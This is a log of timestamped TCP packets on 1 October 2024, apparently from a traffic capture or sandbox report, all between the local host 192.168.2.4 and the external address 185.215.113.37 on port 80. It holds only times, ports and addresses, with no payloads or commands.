Oct 1, 2024 06:03:13.759758949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759767056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759800911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759809017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759845972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759859085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759905100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759906054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759955883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.759955883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759989023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.759999037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760026932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760030985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760070086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760076046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760109901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760121107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760140896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760145903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760178089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760190964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760221958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760226965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760263920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760272026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760303974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760313034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760344028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760351896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760385036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760392904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760426044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760438919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760476112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760489941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760529995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760538101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760570049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760588884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760611057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760620117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760652065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760660887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760685921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760694981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760719061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760724068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760761023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760766983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760799885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760808945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760839939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760842085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760878086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760888100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760921001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760936022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760951996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.760966063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.760993004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761002064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761030912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761049032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761074066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761080027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761112928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761122942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761152029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761159897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761195898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761197090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761228085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761233091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761261940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761271000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761293888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761301041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761327028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761336088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761358976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761368990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761395931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761409044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761428118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761432886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761461020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761475086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761493921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761502981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761527061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761540890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761559010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761571884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761590958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761604071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761626005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761635065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761658907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761665106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761692047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761702061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761725903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761733055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761758089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761770010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761791945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761804104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761823893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761831999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761857033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761863947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761888981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761898041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761921883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761924982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761955976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761964083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.761987925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.761991978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762021065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762023926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762053967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762058020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762087107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762093067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762119055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762124062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762151957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762160063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762186050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762195110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762217999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762226105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762250900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762259960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762283087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762285948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762319088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762322903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762348890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762356043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762381077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762388945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762415886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762437105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762448072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762459993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762480974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762486935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762514114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762522936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762547016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762564898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762578964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762589931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762610912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762614965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762643099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762650967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762676954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762681007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762707949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762717009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762742043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762748003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762770891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762784958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762803078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762814045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762835979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762849092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762865067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762886047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762897968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762901068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762931108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762938976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762964964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.762968063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.762998104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763005018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763031006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763040066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763065100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763068914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763098001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763106108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763132095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763135910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763164043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763175964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763196945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763209105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763230085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763242960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763263941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763274908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763297081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763308048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763330936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763340950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763365030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.763387918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.763412952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845585108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845637083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845645905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845681906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845690012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845716953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845724106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845750093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845757008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845792055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845801115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845834017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845865965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845869064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845869064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845895052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845902920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845927954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845930099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845962048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.845968962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.845994949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846004009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846029043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846041918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846060991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846066952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846101999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846113920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846146107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846165895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846179008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846189976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846210957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846220970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846245050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846245050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846286058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.846297026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.846338987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883133888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883186102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883191109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883239985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883243084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883276939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883290052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883310080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883322001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883338928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883351088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883373022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883375883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883424044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883424997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883455992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883470058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883490086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883492947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883522034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883534908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883557081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883564949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883588076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883605003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883631945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883646011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883683920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883696079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883737087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883769989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883810997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883820057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883861065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883892059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883919001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.883933067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883949041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.883965969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884015083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884018898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884047985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884064913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884089947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884095907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884130001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884144068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884159088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884174109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884207964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884213924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884241104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884252071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884268999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884279013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884301901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884306908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884346008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884351015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884392977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884404898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884454966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884455919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884499073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884505033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884536982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884550095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884567976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884582996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884607077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884615898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884665012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884665012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884710073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884716034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884748936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884759903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884788990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884802103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884846926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884850979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884892941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884901047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884928942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.884943962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884969950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.884977102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885010004 CEST	80	49730	185.215.113.37	192.168.2.4
